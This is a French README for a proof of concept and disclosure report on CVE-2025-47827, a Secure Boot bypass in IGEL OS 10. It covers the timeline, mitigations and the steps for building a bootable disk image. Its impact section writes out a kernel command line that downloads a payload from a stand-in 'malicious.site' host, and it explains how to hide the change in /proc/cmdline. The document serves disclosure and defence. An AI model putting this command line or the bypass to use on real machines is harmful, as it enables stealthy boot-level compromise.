PoC et rapport de vulnérabilité pour CVE-2025-47827.
Preuve de concept et rapport de vulnérabilité pour CVE-2025-47827.
Dans IGEL OS avant la v11, Secure Boot peut être contourné car le module
igel-flash-driver vérifie incorrectement une signature cryptographique.
En définitive, un système de fichiers racine conçu pour l'attaque peut être monté
à partir d'une image SquashFS non vérifiée.
La vérification incorrecte de la signature cryptographique dans le module du
noyau Linux igel-flash-driver d'IGEL OS 10 permet à un acteur malveillant de
contourner Secure Boot, en démarrant le shim signé par l'autorité
Microsoft 3rd Party UEFI CA, qui charge ensuite GRUB et le noyau vulnérable,
tous deux signés par l'IGEL Secure Boot Signing CA. Une fois le noyau vulnérable
et l'initramfs intégré chargés, un système de fichiers racine malveillant peut
être monté à partir de l'image SquashFS non vérifiée présente sur le disque.
Étant donné que l'appel système kexec_load est disponible dans le noyau
vulnérable, le noyau actuellement démarré peut être remplacé par un noyau
entièrement non fiable, permettant pratiquement à n'importe quel système
d'exploitation de démarrer, après avoir suivi une chaîne de confiance complète.
Dans les versions ultérieures d'IGEL OS, le module vérifie correctement une signature de l'image SquashFS du système de fichiers racine. Cependant, le noyau vulnérable et les versions corrigées sont signés avec le même certificat, ce qui permet au même shim de démarrer aussi bien les versions vulnérables que les versions corrigées.
La chaîne de vecteur initiale pour CVE-2025-47827 était
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H,
donnant un score CVSS de 8,4 (élevé).
Le 14 octobre 2025, cela a été modifié en
AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H,
ce qui a abaissé le score à 4,6 (moyen).
De plus, la faiblesse d'origine a été définie comme CWE-347: Improper Verification of Cryptographic Signature, mais MSRC lui a attribué CWE-324: Use of a Key Past its Expiration Date.
IGEL et Microsoft ont tous deux été contactés et informés de cette vulnérabilité, respectivement le 6 décembre 2024 et le 31 mars 2025, avant que les détails ne soient rendus publics le 29 mai 2025.
Comme IGEL OS 10 n'est plus pris en charge et que la vulnérabilité ne se trouve pas directement dans le shim, aucune des deux parties n'a proposé de résolution. Microsoft a répondu ce qui suit :
Après enquête, nous avons déterminé que cette soumission ne correspond pas à la définition d'une vulnérabilité de sécurité éligible à la maintenance, car IGEL OS v10 n'est plus pris en charge et le problème se situe dans le module du noyau et non dans le shim. Seul le shim est signé par le certificat MSFT.
IGEL a publié un avis de sécurité pour CVE-2025-47827 le 2 juin 2025.
Le 13 juin 2025, j'ai de nouveau signalé cela à Microsoft et j'ai reçu la réponse suivante :
Bien que votre rapport contienne de bonnes informations, il ne répond pas aux exigences de Microsoft en tant que vulnérabilité de sécurité pour la maintenance. Le problème signalé se situe dans le module du noyau et non dans le shim, et seul le shim est signé par le certificat MSFT. kexec permet déjà de contourner secure boot par conception (réf. : kexec Command Line in Linux - Linux Expert Better 2025).
Cela répondrait aux critères de maintenance du MSRC si le problème se trouvait dans un pilote/composant de démarrage. Il s'agit d'une vulnérabilité dans le pilote du noyau de la distribution Linux. Cela survient après « ExitBootServices » de l'UEFI, ce qui signifie qu'il ne s'agit pas d'un contournement de Secure Boot. L'utilisateur n'a qu'une exécution de code au niveau du système d'exploitation, et non au démarrage.
Depuis la publication de divers articles de presse concernant cette vulnérabilité, les mainteneurs du shim ont assuré la liaison avec Microsoft et IGEL pour discuter d'une résolution.
Après qu'une résolution a été trouvée, j'ai créé un autre dossier sur MSRC le 20 octobre 2025, demandant la raison du retard dans la révocation de ces shims, les modifications de la chaîne de vecteur CVSS et de la CWE, et pourquoi leur guide de mise à jour indiquait que la vulnérabilité n'avait pas été divulguée publiquement. J'ai reçu la réponse suivante :
La vulnérabilité IGEL qui a été corrigée n'est pas un contournement de Secure Boot. Il s'agit d'un contournement de l'intégrité du noyau spécifique à Linux qui n'affecte pas Windows. Les shims IGEL sont anciens et ne prennent pas en charge la nouvelle révocation basée sur SBAT. Par conséquent, Microsoft a émis les révocations pour se protéger contre d'éventuelles exploitations d'autres vulnérabilités qui ont été protégées par SBAT.
Jeffrey Sutherland, Principal Lead Program Manager, a répondu dans la PR pour expliquer qu'en raison de l'absence de SBAT, les shims ont dû être révoqués par DBX, et qu'IGEL a demandé un délai supplémentaire pour éviter toute conséquence imprévue. Ils se sont également excusés de ne pas avoir maintenu la communication entre le chercheur et les parties concernées, comme l'exige la divulgation coordonnée des vulnérabilités.
L'exploitation d'un contournement de Secure Boot pourrait conduire au développement d'un bootkit/rootkit au niveau du noyau indétectable, entraînant à son tour de multiples implications, telles que :
Sans révocation ou intervention manuelle, Secure Boot est devenu inutile sur toutes les machines qui font confiance à l'autorité Microsoft 3rd Party UEFI CA, ce qui est le cas par défaut pour la plupart des appareils au moment de la rédaction.
Si elle est utilisée pour kexec, cette vulnérabilité peut être exploitée pour
modifier silencieusement et de manière malveillante un système légitime, sans
avoir d'impact sur Secure Boot.
Le noyau pourrait être entièrement remplacé, permettant à un code malveillant de s'exécuter au niveau du noyau, ce qui donnerait un accès illimité à toutes les ressources système, y compris la mémoire, le processeur et les périphériques connectés.
Cela permettrait d'extraire des clés de chiffrement de la mémoire, d'exécuter des processus malveillants sans restriction et aux logiciels malveillants de contourner la détection.
La ligne de commande du noyau légitime peut être modifiée, pour désactiver les
modules de sécurité ou modifier le paramètre init, permettant à une charge
utile malveillante d'être exécutée après le montage de la vraie racine.
Par exemple (modprobe, DHCP, chmod, omis par souci de concision) :```sh
init=/bin/sh -- -c "curl http://malicious.site/payload > /path/to/executable; exec /sbin/init"
Cela pourrait remplacer un exécutable légitime, détourner le PID 1 ou
se lancer automatiquement au démarrage, obtenant ainsi facilement un accès root.
`/proc/cmdline` peut être [détourné](https://wiki.archlinux.org/title/Kernel_parameters#Hijacking_cmdline)
avec un montage bind pour masquer toute modification.
Consultez la [documentation Linux](https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html)
pour plus d'informations.
### Persistance
L'impact serait persistant tant que les binaires EFI requis et le noyau
sont présents et configurés pour démarrer via le firmware du système.
Les mises à jour du système d'exploitation peuvent modifier l'ordre de démarrage ou la base
de signatures interdites du Secure Boot (DBX), ce qui peut empêcher les binaires de
s'exécuter. Cependant, si le système d'exploitation est également compromis, cette mesure
corrective peut être annulée.
De plus, comme l'ordre de démarrage EFI est configurable par le système d'exploitation,
via la modification des variables EFI, un logiciel malveillant privilégié pourrait
obtenir une persistance ou élever encore ses privilèges en installant les fichiers
de démarrage requis et en configurant l'ordre de démarrage en conséquence.
## Détection
En supposant qu'un rootkit au niveau du noyau parfait a été créé pour exploiter cette
vulnérabilité, les données concernant le système en cours d'exécution ne peuvent pas être fiables.
Les méthodes de détection incluent :
- Vérification de la présence des binaires impliqués
- Vérification des signatures/intégrité des fichiers connus, p. ex. [rkhunter](https://rkhunter.sourceforge.net/)
- Analyse comportementale, en particulier dans les environnements réseau
À tout le moins, les binaires EFI signés qui doivent être démarrés par le firmware du système
et le noyau IGEL doivent être présents sur le système compromis, mais, en raison du
[niveau](https://en.wikipedia.org/wiki/Protection_ring) auquel le code malveillant
s'exécuterait, le [rootkit](https://en.wikipedia.org/wiki/Rootkit) pourrait
se masquer au moment de l'exécution.
D'autres indicateurs de compromission dépendent des actions du logiciel malveillant qui a
exploité cette vulnérabilité. Par exemple, le noyau démarré peut avoir été
remplacé, des fichiers du système de fichiers racine modifiés ou des programmes inattendus en cours d'exécution.
## Atténuation
> [!IMPORTANT]
> Microsoft a publié une [DBX signée](https://github.com/microsoft/secureboot_objects/releases/tag/1.6.0-signed)
> révoquant les signatures des shims concernés le 20 octobre 2025, après accord
> avec IGEL.
>
> Pour les systèmes Windows, veuillez consulter le
> [guide de mise à jour MSRC](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47827).
>
> Pour mettre à jour les systèmes basés sur Linux avec [fwupd](https://fwupd.org/), mettez à jour
> [Linux Foundation (UEFI Revocation) Secure Boot dbx](https://fwupd.org/lvfs/devices/com.microsoft.dbx.x64.firmware)
> vers la version `20250902` ou ultérieure.
>
> Pour plus d'informations, voir [microsoft/secureboot_objects#272](https://github.com/microsoft/secureboot_objects/pull/272).
Pour empêcher que la chaîne de démarrage soit compromise, le certificat utilisé pour
signer l'image vulnérable de GRUB/noyau doit être révoqué ou ne plus être approuvé, ou les
empreintes SHA-256 des noyaux (ou shims) affectés doivent être ajoutées à la liste de refus
DBX ou MOKX.
Consultez la [documentation de la direction de la cybersécurité de la NSA](https://github.com/nsacyber/Hardware-and-Firmware-Security-Guidance/blob/master/secureboot/Linux.md)
pour plus d'informations.
Alternativement, pour empêcher le shim initial de s'exécuter, l'autorité
de certification UEFI Microsoft 3rd Party peut ne plus être approuvée, mais cela peut entraîner des
perturbations involontaires pour d'autres applications légitimes.
Certains appareils proposent cette option dans les paramètres du firmware.
La [page ArchWiki pour sbctl](https://wiki.archlinux.org/title/Unified_Extensible_Firmware_Interface/Secure_Boot#Creating_and_enrolling_keys)
avertit ce qui suit :
> [!WARNING]
> Certains firmwares sont signés et vérifiés avec les clés de Microsoft lorsque le démarrage
> sécurisé est activé. Ne pas valider les appareils pourrait les rendre inopérants.
C'est le [réglage par défaut pour les PC Secured-core](https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/secure-the-windows-10-boot-process#secure-boot) :
> L'état par défaut de Secure Boot dispose d'un large cercle de confiance, ce qui peut
> conduire les clients à faire confiance à des composants de démarrage dont ils n'ont pas besoin. Étant donné que le certificat
> de l'autorité de certification UEFI Microsoft 3rd Party signe les chargeurs de démarrage pour toutes les distributions Linux,
> faire confiance à la signature Microsoft 3rd Party UEFI CA dans la base de données UEFI augmente
> la surface d'attaque des systèmes. Un client qui souhaitait uniquement faire confiance et démarrer
> une seule distribution Linux fera confiance à toutes les distributions - plus que
> sa configuration souhaitée. Une vulnérabilité dans l'un des chargeurs de démarrage expose le
> système et place le client dans une situation de risque d'exploitation pour un chargeur de démarrage qu'il n'a jamais
> eu l'intention d'utiliser, comme on l'a vu dans de récentes vulnérabilités, par exemple
> [avec le chargeur de démarrage GRUB](https://msrc.microsoft.com/security-guidance/advisory/ADV200011) ou
> [le rootkit au niveau du firmware](https://www.darkreading.com/threat-intelligence/researchers-uncover-dangerous-new-firmware-level-rootkit)
> affectant les composants de démarrage.
> [Les PC Secured-core](https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/OEM-highly-secure-11)
> exigent que Secure Boot soit activé et configuré pour ne pas faire confiance à la signature
> Microsoft 3rd Party UEFI CA, par défaut, afin de fournir aux clients la configuration
> la plus sécurisée possible pour leurs PC.
### Démarrage mesuré
Si le système est démarré avec le shim IGEL, les
[mesures PCR du TPM](https://wiki.archlinux.org/title/Trusted_Platform_Module#Accessing_PCR_registers)
changeront.
Windows utilise le [démarrage mesuré](https://learn.microsoft.com/en-us/windows/compatibility/measured-boot)
par défaut avec BitLocker, rendant les clés de chiffrement inaccessibles si le système
n'est pas démarré avec les binaires attendus.
Sur les systèmes basés sur Linux, [systemd-cryptenroll](https://wiki.archlinux.org/title/Systemd-cryptenroll)
peut être utilisé pour enregistrer une clé LUKS auprès du TPM et la lier à différents PCR
(PCR 7 par défaut).
Le démarrage mesuré protège le système d'exploitation légitime contre toute modification en ne libérant
la clé de chiffrement que dans un environnement de confiance. Cependant, il n'empêche pas un
système d'exploitation non autorisé de démarrer ; c'est la responsabilité de Secure Boot.
Par conséquent, un utilisateur pourrait toujours être exposé, même si son système d'exploitation utilise le démarrage mesuré.
Par exemple :
- Démarrer le shim IGEL et un système d'exploitation malveillant, tout en passant Secure Boot
- Émuler l'apparence et le comportement d'un système d'exploitation authentique
- L'utilisateur saisit des identifiants qui sont envoyés à l'attaquant
- Redémarrer éventuellement dans le système d'exploitation légitime
Bien que le système d'exploitation légitime ne puisse pas être modifié avec le démarrage mesuré, étant donné que la clé
de chiffrement est liée aux mesures PCR du TPM[^1], le système peut toujours démarrer un logiciel
malveillant.
[^1]: Les clés de récupération BitLocker ne sont pas liées au TPM.
### Image de noyau unifiée
Une [image de noyau unifiée](https://uapi-group.org/specifications/specs/unified_kernel_image/)
peut être utilisée pour regrouper toutes les ressources de démarrage (c'est-à-dire le noyau, le disque RAM initial, la ligne
de commande du noyau, etc.) dans un seul fichier PE UEFI.
Ces images peuvent être signées comme n'importe quel autre exécutable EFI.
Pour améliorer la sécurité du démarrage et minimiser la surface d'attaque de la chaîne de démarrage,
générez une image de noyau unifiée et signez-la avec des clés générées par l'utilisateur,
en ne faisant confiance à aucune clé du fournisseur/OEM.
## Binaires
Les binaires impliqués sont les suivants :
### Description
Dans l'ordre d'exécution :
- `boot*.efi` -> shim signé par Microsoft
- `igel*.efi` -> GRUB signé par IGEL
- `bzImage` -> image Linux (initramfs intégré), signée par IGEL
Le certificat dont l'objet est `CN=IGEL Secure Boot Signing CA, O=IGEL Technology GmbH, L=Bremen, C=DE`
peut être trouvé dans [igelboot/shim](https://github.com/igelboot/shim/blob/igel-shim/igel-efi-pub-key.der).
L'empreinte SHA-256 de ce certificat est
`5E:AE:E3:E0:EF:AA:58:85:E0:8A:CD:3F:FF:8D:1D:05:72:E0:14:2A:C8:E2:A5:42:A9:8C:9B:D4:2E:76:4D:F6`.
Les signatures de ces binaires peuvent être vérifiées avec `sbverify`
(provenant de [`sbsigntools`](https://git.kernel.org/pub/scm/linux/kernel/git/jejb/sbsigntools.git/)) :```sh
# Convert to PEM format
openssl x509 -in igel-efi-pub-key.der -outform pem -out igel-efi-pub-key.pem
# Verify signatures
for image in igel*.efi bzImage; do
sbverify --cert igel-efi-pub-key.pem "${image}"
done
SHA-256 (de udc10.06.220.iso):```
3258be9cede92f0b557391e920750e46134cccc13d3a78e306b630ed7b338b85 bootia32.efi
0c1e0821cef69a0bc2798996c6ce0b60564b2a1a9d67ef89f3059023edab720c bootx64.efi
2a8e546e6bbdbb01f49338b0e3ef22d8fea69aa0a585831b89960610e2e5d9b5 igelia32.efi
5f57a2a40fa6d55d1082e0c87cfea8c77d4f32e38e21fd0b5f2c4d2007ebdf91 igelx64.efi
09e14e4870f93fbfd13b85121cb9f0e4a877dd8d6566bea2d2db8d27e14f1d92 bzImage
Les empreintes de [`bootx64.efi`](https://github.com/microsoft/secureboot_objects/pull/272/files#diff-08415e6b0bb62538ad2345360571cf3619be29812066c32df990a84e7d6b7926R4461)
et [`bootia32.efi`](https://github.com/microsoft/secureboot_objects/pull/272/files#diff-08415e6b0bb62538ad2345360571cf3619be29812066c32df990a84e7d6b7926R5427)
ont été révoquées via DBX.
## Preuve de concept
Un script shell de preuve de concept est fourni pour télécharger l'ISO d'installation d'IGEL OS,
extraire et créer une image disque amorçable, avec un système de fichiers racine SquashFS modifié.
Alternativement, au lieu d'une image disque, l'ISO pourrait être réempaquetée avec une
partition système EFI annexée à l'image. Un MBR hybride pourrait également être utilisé pour
conserver la prise en charge des systèmes BIOS legacy, mais cela dépasse le cadre de ce
projet. L'ISO d'installation contient un chargeur d'amorçage ISOLINUX pour les systèmes
legacy, qui charge en chaîne un `core.img` de GRUB.
### Overlays
Des exemples de répertoires overlay sont fournis pour démontrer le démarrage d'un
environnement Arch Linux live via HTTP.
Le script `init` chargera le noyau spécifié dans les paramètres de la ligne de commande du noyau
avec `kexec`, puis redémarrera. Le noyau de remplacement n'a pas besoin d'être
signé si `--kexec-syscall` est passé à la place de `--kexec-file-syscall`.
Le fichier de configuration GRUB est stocké sur la partition système EFI, qui peut
être facilement modifiée. D'autres fichiers peuvent être déposés sur l'ESP, comme le noyau,
les images initramfs ou SquashFS, pour être démarrés depuis le premier système de fichiers racine
avec `kexec`. Cela permet de charger en chaîne un autre système localement, qui peut être
mis à jour comme un système normal, sans avoir à reconstruire l'ISO à chaque fois.
Alternativement, les fichiers requis peuvent être téléchargés via HTTP avec `curl`, puis
démarrés, pour une image disque plus légère.
Ceci est un exemple innocent de la façon dont la vulnérabilité pourrait être exploitée, mais
le script `init` ou le noyau `kexec` pourraient être modifiés pour démontrer un comportement
malveillant.
### Dépendances
Le script nécessite les paquets suivants :
- [`bash`](https://www.gnu.org/software/bash/bash.html)
- [`coreutils`](https://www.gnu.org/software/coreutils/) (`dd`, et tout le reste)
- [`dosfstools`](https://github.com/dosfstools/dosfstools) (`mkfs.fat`)
- [`igelfs-cli`](https://github.com/Zedeldi/igelfs)
- [`libisoburn`](https://dev.lovelyhq.com/libburnia/libisoburn) (`osirrox`, `xorriso`)
- [`squashfs-tools`](https://github.com/plougher/squashfs-tools) (`mksquashfs`, `unsquashfs`)
- [`sudo`](https://www.sudo.ws/sudo/)
- [`unzip`](https://infozip.sourceforge.net/UnZip.html)
- [`util-linux`](https://github.com/util-linux/util-linux) (`fdisk`, `losetup`)
- [`wget`](https://www.gnu.org/software/wget/wget.html)
Ces paquets devraient être disponibles pour toute distribution depuis ses dépôts de paquets officiels.
`igelfs-cli` peut être installé dans un environnement virtuel depuis
[PyPI](https://pypi.org/project/igelfs/) :```sh
python -m venv .venv
source .venv/bin/activate
pip install igelfs
mkdiskimage: [-s SIZE] [-l LABEL] [-e ESP_OVERLAY] [-r ROOT_OVERLAY] PATH [SQUASHFS]
### Exemple
Construisez une image disque de 500 Mo, en copiant le contenu de `esp` et `root` vers la partition système EFI et le SquashFS respectivement:```sh
mkdiskimage -s "500M" -e "esp" -r "root" "disk.img"
L'image résultante démarrera une machine avec Secure Boot activé, qui fait confiance à l'autorité de certification Microsoft 3rd Party UEFI CA.
L'image disque brute peut être écrite sur un périphérique physique, ou convertie pour être utilisée avec une machine virtuelle.
Voir la page des versions pour un exemple d'image disque amorçable et des copies des binaires pertinents.
L'exemple contient une image SquashFS modifiée d'IGEL OS pour télécharger et démarrer
Arch Linux via HTTPS avec kexec. Le miroir se trouve dans la configuration GRUB.
mkdiskimage télécharge l'archive UDC IGEL OS 10, contenant l'ISO d'installationosirrox, pour obtenir les binaires EFI, ddimage.bin
et bzImageigelfs-cli, le SquashFS système
est extrait de ddimage.bin, puis est extrait avec unsquashfsmksquashfs et un nouveau ddimage.bin est créé
à l'aide de igelfs-cli, avec le SquashFS comme partition #1 (sys)ddimage.bin est ajouté à une image ISO avec xorrisoL'ISO contient uniquement ddimage.bin et l'indication de fichier boot_id, tandis que
l'ESP contient les binaires EFI et les fichiers pour GRUB.
Le système de fichiers racine pourrait être créé avec buildroot pour réduire considérablement la taille des fichiers.
Les modules du noyau pour bzImage seront ajoutés à l'image SquashFS pour ajouter
la prise en charge des systèmes de fichiers, du réseau, etc., ainsi que toute autre
exigence.
Un exemple de defconfig pour construire un SquashFS racine, avec kexec et sans
script init, se trouve dans buildroot. Utilisez un répertoire overlay pour ajouter d'autres
fichiers, par ex. un script init, soit avec BR2_ROOTFS_OVERLAY soit avec mkdiskimage.
Le binaire espace utilisateur kexec n'est pas disponible par défaut dans la partition système
d'IGEL OS 10, donc si cela est requis, il peut également être ajouté à l'image
SquashFS corrigée.
Le binaire kexec peut être regroupé avec ses dépendances de bibliothèque à l'aide de
staticx, pour éviter les bibliothèques partagées
manquantes sur l'image SquashFS d'IGEL OS :```sh
staticx "$(which kexec)" "./root/sbin/kexec"
Note : en raison de la recherche de sous-chaînes `parse_cmdline` de l'initramfs IGEL,
le fait de spécifier `init` _n'importe où_ dans la ligne de commande du noyau sera interprété par
le premier initramfs, donc `init` ne peut pas être transmis au noyau `kexec` via les
premiers paramètres du noyau.
### SSL
Si SSL est requis, par ex. pour HTTPS, ajoutez `/etc/ssl/certs/ca-certificates.crt`
à l'image SquashFS.
### Prérequis
L'ISO doit être la première partition, ce qui fait de la partition système EFI (ESP)
de manière non conventionnelle la partition n°2. Cela est dû à la façon dont le script `init`
de l'initramfs recherche les périphériques.
De même, une fois installé, IGEL OS crée deux ESP aux partitions n°2 et n°3.
GRUB exige que `/boot/igel-ud-converter` soit présent sur le même système de fichiers
que `/boot/grub/igel.conf` :```
search --file --set search /boot/igel-ud-converter
set cmdpath=($search)
configfile $cmdpath/boot/grub/igel.conf
Le script init de l'initramfs embarqué de bzImage exige qu'un fichier correspondant au boot_id passé sur la ligne de commande du noyau, préfixé par un point (.), soit présent sur le système de fichiers ISO. Le boot_id doit commencer par IGEL_UDC_TO, par ex. .IGEL_UDC_TO_210319143827.
Ces fichiers peuvent être vides, mais doivent être présents.
Le SquashFS doit également contenir un répertoire /igfimage pour le script init de l'initramfs, sinon le changement de racine échouera.
Un utilisateur pourrait exploiter cette vulnérabilité intentionnellement pour démarrer un système d'exploitation basé sur Linux sur sa machine, sans configurer Secure Boot.
De plus, comme un environnement Linux complet sera effectivement utilisé comme chargeur d'amorçage, le script init peut être personnalisé pour gérer le chargement du noyau suivant de manière plus complexe qu'un chargeur d'amorçage conventionnel ne le permettrait, par ex. mise en réseau, chiffrement, etc. D'un autre côté, cela peut être exploité pour masquer des indicateurs de compromission, en récupérant les ressources à l'exécution au lieu de les stocker sur le disque.
Divers projets utilisent déjà kexec à cette fin, tels que kexecboot et petitboot.
Détails de la vulnérabilité :
Atténuation :
Analyses des mises à jour :
Articles de presse :
Logiciels et projets associés :
CVE-2025-47827 est sous licence MIT Licence pour que chacun puisse l'utiliser, le modifier et le partager librement.
Ce projet est distribué dans l'espoir qu'il sera utile, mais sans aucune garantie.
[!IMPORTANT] Veuillez être responsable avec ces informations. La divulgation de cette vulnérabilité vise à informer les utilisateurs et à suggérer des atténuations possibles pour éviter tout préjudice.
Soyez une bonne personne.
Si ce projet vous a été utile, pensez à faire un don. Tout montant est grandement apprécié ! Merci 😃
fdisk
dd)